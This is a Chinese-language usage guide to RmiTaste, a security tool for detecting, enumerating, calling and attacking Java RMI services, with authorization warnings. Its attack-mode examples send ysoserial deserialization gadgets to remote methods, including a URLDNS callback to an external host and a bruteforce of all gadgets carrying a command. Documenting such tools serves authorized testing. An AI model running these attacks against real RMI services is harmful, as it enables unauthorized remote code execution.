RmiTaste:一款针对RMI服务的检测&枚举&交互&攻击工具
字数 1078 2025-08-15 21:32:50
RmiTaste工具使用详解
工具概述
RmiTaste是一款针对RMI(Remote Method Invocation)服务的检测、枚举、交互和攻击工具,由Marcin Ogorzelski (mzero - @_mzer0)开发。该工具主要帮助安全研究人员识别目标系统中不安全的RMI服务。
重要警告:
- 未经授权访问计算机系统是违法行为
- 使用RmiTaste必须获得目标系统的事先授权
- 开发者不对任何滥用或由此程序造成的损害负责
环境要求
- OpenJDK v11.0.3
- Maven (用于构建项目)
- ysoserial-master-SNAPSHOT.jar (需下载并放入libs_attack目录)
安装与构建
-
下载ysoserial并放入libs_attack目录:
https://github.com/frohoff/ysoserial -
使用Maven构建项目:
mvn package -
基本运行命令:
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste -h
工具模式
RmiTaste提供四种运行模式:
1. 连接模式(conn)
用于检测目标端口是否为RMI服务端口。
命令格式:
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste conn -t <目标IP> -p <端口>
示例:
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste conn -t 127.0.0.1 -p 1099
2. 枚举模式(enum)
用于获取RMI服务的详细信息,包括:
- 远程对象名
- 远程对象实现和继承的类名
- 远程方法(如果接口在类路径中可访问)
命令格式:
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t <目标IP> -p <端口>
示例:
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099
注意:如果枚举结果显示"没有找到方法",需要将远程对象接口的jar文件(如rmitaste.examples-1.0-SNAPSHOT-all.jar)放入libs_attack目录。
3. 攻击模式(attack)
使用ysoserial特定的实用工具链来调用远程方法,测试Java反序列化漏洞。
命令格式:
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t <目标IP> -p <端口> [选项]
选项:
-g:指定ysoserial gadget (如"URLDNS")-c:指定命令或URL-m:指定要攻击的方法-gen bruteforce:对所有gadget进行暴力破解测试
示例:
-
使用URLDNS gadget调用所有远程方法:
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -g "URLDNS" -c "http://rce.mzero.pl" -
调用特定方法:
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:deposit" -g "URLDNS" -c "http://rce.mzero.pl" -
暴力破解测试:
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:deposit" -gen bruteforce -c "ping 127.0.0.1"
4. 调用模式(call)
调用RMI远程对象的特定方法。
命令格式:
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t <目标IP> -p <端口> -m <方法> [选项]
选项:
-mp:指定方法参数
示例:
-
调用无参数方法:
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:getBalance" -
调用带参数方法:
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:setPin" -mp "string=1234"
实际使用示例
-
首先运行样本服务器
-
进行对象枚举:
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099如果结果显示"没有找到方法",需要将远程对象接口的jar文件放入libs_attack目录。
-
成功枚举后,可以看到类似输出:
acc1 [object] [127.0.1.1:42881] implements java.rmi.Remote [interface] extends java.lang.reflect.Proxy [class] implements m0.rmitaste.example.server.ClientAccount [interface] setPin(java.lang.String param0); [method] Parameters: param0; may be vulnerable to Java Deserialization! [info] getBalance(); [method] deposit(java.lang.Object param0); [method] Parameters: param0; may be vulnerable to Java Deserialization! [info] withdraw(float param0); [method]
项目地址
RmiTaste GitHub仓库:
GitHub传送门
安全提示
- 仅在有合法授权的情况下使用此工具
- 注意工具使用可能带来的法律风险
- 建议在受控环境中进行测试和学习